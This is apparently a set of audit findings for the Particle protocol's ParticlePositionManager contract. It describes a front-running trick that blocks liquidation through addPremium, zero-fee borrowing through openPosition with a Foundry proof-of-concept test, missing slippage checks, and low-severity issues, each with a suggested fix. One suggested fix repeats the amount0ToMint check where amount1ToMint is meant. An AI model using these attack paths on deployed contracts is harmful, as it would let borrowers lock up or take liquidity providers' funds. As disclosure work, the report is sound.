Since addPremium() will modify lien.startTime = block.timestamp we need to restrict , if lps.getRenewalCutoffTime(lien.tokenId) > lien.startTime, addPremium() cannot be executed. Otherwise, addPremium() can indefinitely postpone liquidatePosition() to forcibly close position.

    function addPremium(uint96 lienId, uint128 premium0, uint128 premium1) external override nonReentrant {
..
@>     if (lps.getRenewalCutoffTime(lien.tokenId) > lien.startTime) revert Errors.RenewalDisabled();

The problem is that this judgment condition is >, so if lps.getRenewalCutoffTime(lien.tokenId) == lien.startTime, it can be executed.

This leads to, the borrower can monitor the mempool, if LP executes reclaimLiquidity(), front-run or follow closely to execute addPremium(0). It can be executed successfully, resulting in lien.startTime == lps[tokenId].renewalCutoffTime == block.timestamp.

In this case, liquidatePosition() will fail , because the current condition for liquidatePosition() is lien.startTime < lps.getRenewalCutoffTime(lien.tokenId), liquidatePosition() will revert Errors.LiquidationNotMet();.

So by executing reclaimLiquidity() and addPremium() in the same block, it can maliciously continuously prevent LP from retrieving Liquidity.

Impact

Malicious borrowers can follow reclaimLiquidity() then execute addPremium() to invalidate renewalCutoffTime, thereby maliciously preventing the position from being forcibly closed, and LP cannot retrieve Liquidity.

Recommended Mitigation

Use >= lien.startTime to replace > lien.startTime.

In this way, the borrower has at most one chance and cannot postpone indefinitely.

    function addPremium(uint96 lienId, uint128 premium0, uint128 premium1) external override nonReentrant {
..
-       if (lps.getRenewalCutoffTime(lien.tokenId) > lien.startTime) revert Errors.RenewalDisabled();
+       if (lps.getRenewalCutoffTime(lien.tokenId) >= lien.startTime) revert Errors.RenewalDisabled();

Assessed type

Other

Lines of code

https://github.com/code-423n4/2023-12-particle/blob/a3af40839b24aa13f5764d4f84933dbfa8bc8134/contracts/protocol/ParticlePositionManager.sol#L151

Vulnerability details

Vulnerability details

In openPosition(), it allows token0PremiumPortion and token1PremiumPortion to be 0 at the same time.

In this case, if tokenId enters out_of_price, for example, UpperOutOfRange, anyone might be able to input:

marginFrom = 0
marginTo = 0
amountSwap = 0
zeroForOne = false
liquidity > 0

Note: amountFromBorrowed + marginFrom == 0 , so fees ==0

to open a new Position, borrow Liquidity, but without paying any fees. It's basically a no-cost loan.

Impact

out_of_price tokenId, due to the no-cost loan, might lead to the following issues:

1. Malicious occupation of Liquidity
2. Since both token0Premium/token1Premium are 0, the liquidator will not execute liquidatePosition(), because there is no profit.
3. Since both token0Premium/token1Premium are 0, LP cannot get fees, but the borrower might still be able to profit.

Proof of Concept

The following test case demonstrates that if it is out_of_price, anyone can borrow at no cost.

add to OpenPosition.t.sol

    function testZeroFees() public {
        _setupUpperOutOfRange();
        uint128 borrowerLiquidity = _liquidity / _borrowerLiquidityPorition;
        console.log("borrowerLiquidity:",borrowerLiquidity);
        address anyone = address(0x123999);
        vm.startPrank(anyone);
        particlePositionManager.openPosition(
            DataStruct.OpenPositionParams({
                tokenId: _tokenId,
                marginFrom: 0,
                marginTo: 0,
                amountSwap: 0,
                liquidity: borrowerLiquidity,
                tokenFromPremiumPortionMin: 0,
                tokenToPremiumPortionMin: 0,
                marginPremiumRatio: type(uint8).max,
                zeroForOne: false,
                data: ""
            })
        );
        vm.stopPrank();
        (
            ,
            uint128 liquidity,
            ,
            uint128 token0Premium,
            uint128 token1Premium,
            ,
            ,            
        ) = particleInfoReader.getLien(anyone, 0);
        console.log("liquidity:",liquidity);
        console.log("token0Premium:",token0Premium);
        console.log("token1Premium:",token1Premium);
    }

Logs:
  borrowerLiquidity: 1739134199054731
  liquidity: 1739134199054731
  token0Premium: 0
  token1Premium: 0

Recommended Mitigation

It is suggested that openPosition() should add a minimum token0PremiumPortion/token1PremiumPortion limit.

    function openPosition(
        DataStruct.OpenPositionParams calldata params
    ) public override nonReentrant returns (uint96 lienId, uint256 collateralTo) {
...

+       require(params.tokenFromPremiumPortionMin>=MIN_FROM_PREMIUM_PORTION,"invalid tokenFromPremiumPortionMin");
+       require(params.tokenToPremiumPortionMin>=MIN_TO_PREMIUM_PORTION,"invalid tokenToPremiumPortionMin");

Assessed type

Other

Lines of code

https://github.com/code-423n4/2023-12-particle/blob/a3af40839b24aa13f5764d4f84933dbfa8bc8134/contracts/protocol/ParticlePositionManager.sol#L118 https://github.com/code-423n4/2023-12-particle/blob/a3af40839b24aa13f5764d4f84933dbfa8bc8134/contracts/protocol/ParticlePositionManager.sol#L127

Vulnerability details

Vulnerability details

In ParticlePositionManager.mint(), there is slippage protection by params.amount0Min / params.amount1Min

But in increaseLiquidity(), pool.mint() will also be executed There is no slippage protection

    function increaseLiquidity(
        uint256 tokenId,
        uint256 amount0,
        uint256 amount1
    ) external override nonReentrant returns (uint128 liquidity, uint256 amount0Added, uint256 amount1Added) {
        (liquidity, amount0Added, amount1Added) = lps.increaseLiquidity(tokenId, amount0, amount1);
    }

    function increaseLiquidity(
        address token0,
        address token1,
        uint256 tokenId,
        uint256 amount0,
        uint256 amount1
    ) internal returns (uint128 liquidity, uint256 amount0Added, uint256 amount1Added) {
        // approve spending for uniswap's position manager
        TransferHelper.safeApprove(token0, Base.UNI_POSITION_MANAGER_ADDR, amount0);
        TransferHelper.safeApprove(token1, Base.UNI_POSITION_MANAGER_ADDR, amount1);

        // increase liquidity via position manager
        (liquidity, amount0Added, amount1Added) = Base.UNI_POSITION_MANAGER.increaseLiquidity(
            INonfungiblePositionManager.IncreaseLiquidityParams({
                tokenId: tokenId,
                amount0Desired: amount0,
                amount1Desired: amount1,
@>              amount0Min: 0,
@>              amount1Min: 0,
                deadline: block.timestamp
            })
        );

It is recommended to add slippage protection to avoid LP losses

Note: decreaseLiquidity() has a similar problem

Impact

Lack of slippage protection in increaseLiquidity/decreaseLiquidity

Recommended Mitigation

    function increaseLiquidity(
        uint256 tokenId,
        uint256 amount0,
        uint256 amount1,
+       uint256 amount0Min,
+       uint256 amount1Min
    ) external override nonReentrant returns (uint128 liquidity, uint256 amount0Added, uint256 amount1Added) {
        (liquidity, amount0Added, amount1Added) = lps.increaseLiquidity(tokenId, amount0, amount1);
+      require(amount0Added>= amount0Min,"invalid amount0Added");
+      require(amount1Added>= amount1Min,"invalid amount1Added");
    }

Assessed type

Uniswap

Findings Summary

[L-01] It's unreasonable that LP's token0Owed can only be less than or equal to Lien.tokenToPremium, especially when there is a profit

When calculating the Yield from Borrowed Liquidity that should be paid to LP during closePostion(), the current protocol restricts it to be less than or equal to Lien.tokenToPremium.

This is not reasonable when the borrower is making a profit.

For example: lien.collateral = 100
lien.premium = 20 amountFromAdd = 80 (only repay 80, the borrower still profits 20) token0Owed = 30

According to the current protocol calculation method: LP.token0Owed = 20 (because token0Owed > premium, only get premium, lost 10) borrower profit = 100 + 20 - 80 -20 =20

This way, the document's description that needs to ensure LP's greater than Yield from Borrowed Liquidity cannot be satisfied.

Because the borrower always has a profit, a part of the profit should be deducted to give LP to satisfy greater than Yield from Borrowed Liquidity.

Note: Liquidation will cause premium to be less, LP.token0Owed will be less.

Suggestion: If there is a profit and the Premium is insufficient, deduct a part from the profit to supplement token0Owed.

      token0Owed = Math.min(cache.token0Owed,(collateralFrom + cache.tokenFromPremium - cache.amountSpent - cache.amountFromAdd ))

[L-02] openPosition() maybe underflow

in openPosition() -> Base.swap()

    function openPosition(
        DataStruct.OpenPositionParams calldata params
    ) public override nonReentrant returns (uint96 lienId, uint256 collateralTo) {
...
        (cache.amountSpent, cache.amountReceived) = Base.swap(
            cache.tokenFrom,
            cache.tokenTo,
            params.amountSwap,
@>          collateralTo - cache.amountToBorrowed - params.marginTo, // amount needed to meet requirement
            DEX_AGGREGATOR,
            params.data
        );

The formula collateralTo - cache.amountToBorrowed - params.marginTo may underflow.

This is especially true if the user wants to increase token0PremiumPortion, thereby transferring to marginTo.

For example: (price outOfRange) collateralTo = 100 amountToBorrowed = 100 marginTo = 10 (want to set token0PremiumPortion >10%)

collateralTo - amountToBorrowed - marginTo will underflow.

Suggestions:

        (cache.amountSpent, cache.amountReceived) = Base.swap(
            cache.tokenFrom,
            cache.tokenTo,
            params.amountSwap,
-           collateralTo - cache.amountToBorrowed - params.marginTo, // amount needed to meet requirement
+          (cache.amountToBorrowed + params.marginTo) > collateralTo ? 0 : (collateralTo - cache.amountToBorrowed - params.marginTo),
            DEX_AGGREGATOR,
            params.data
        );

[L-03] In mint(), it is suggested to judge amount0ToMint/amount1ToMint >0 before executing transferFrom()

In mint(), regardless of whether the specified amount0ToMint/amount1ToMint is greater than 0, transferFrom() is executed. But when the price is OutOfRange, amount0ToMint or amount1ToMint is not needed. In this case, the user will input 0. This will cause the transfer of some tokens to fail if 0 is transferred. https://github.com/d-xo/weird-erc20/?tab=readme-ov-file#revert-on-zero-value-transfers

suggest:

    function mint(
        mapping(uint256 => Info) storage self,
        DataStruct.MintParams calldata params
    ) internal returns (uint256 tokenId, uint128 liquidity, uint256 amount0Minted, uint256 amount1Minted) {
        // transfer in the tokens
+      if(params.amount0ToMint > 0) {
        TransferHelper.safeTransferFrom(params.token0, msg.sender, address(this), params.amount0ToMint);
+       }
+      if(params.amount0ToMint > 0) {
        TransferHelper.safeTransferFrom(params.token1, msg.sender, address(this), params.amount1ToMint);
+      }

[L-04] suggested ParticlePositionManager use ReentrancyGuardUpgradeable instead of ReentrancyGuard

ParticlePositionManager.sol uses UUPSUpgradeable. It is suggested to use ReentrancyGuardUpgradeable to avoid subsequent upgrade storage collisions. Currently, ReentrancyGuard.sol is used.

contract ParticlePositionManager is
    IParticlePositionManager,
    Ownable2StepUpgradeable,
    UUPSUpgradeable,
    IERC721Receiver,
-   ReentrancyGuard,
+  ReentrancyGuardUpgradeable,
    Multicall
{

function initialize(
    address dexAggregator,
    uint256 feeFactor,
    uint128 liquidationRewardFactor,
    uint256 loanTerm,
    uint256 treasuryRate
) external initializer {

• __ReentrancyGuard_init()

[L-05] add a minimum limit to premium0 and premium1 in addPremium()

addPremium() is used to increase premium, and at the same time, it will modify lien.startTime. lien.startTime will extend the expiration time of the loan. At present, there is no restriction on premium0 and premium1, and both can be 0. In this way, users can extend the expiration time at no cost. It is suggested to add restrictions, at least one of them should have a growth percentage greater than MIN_ADD_PREMIUM_PORTION=10%.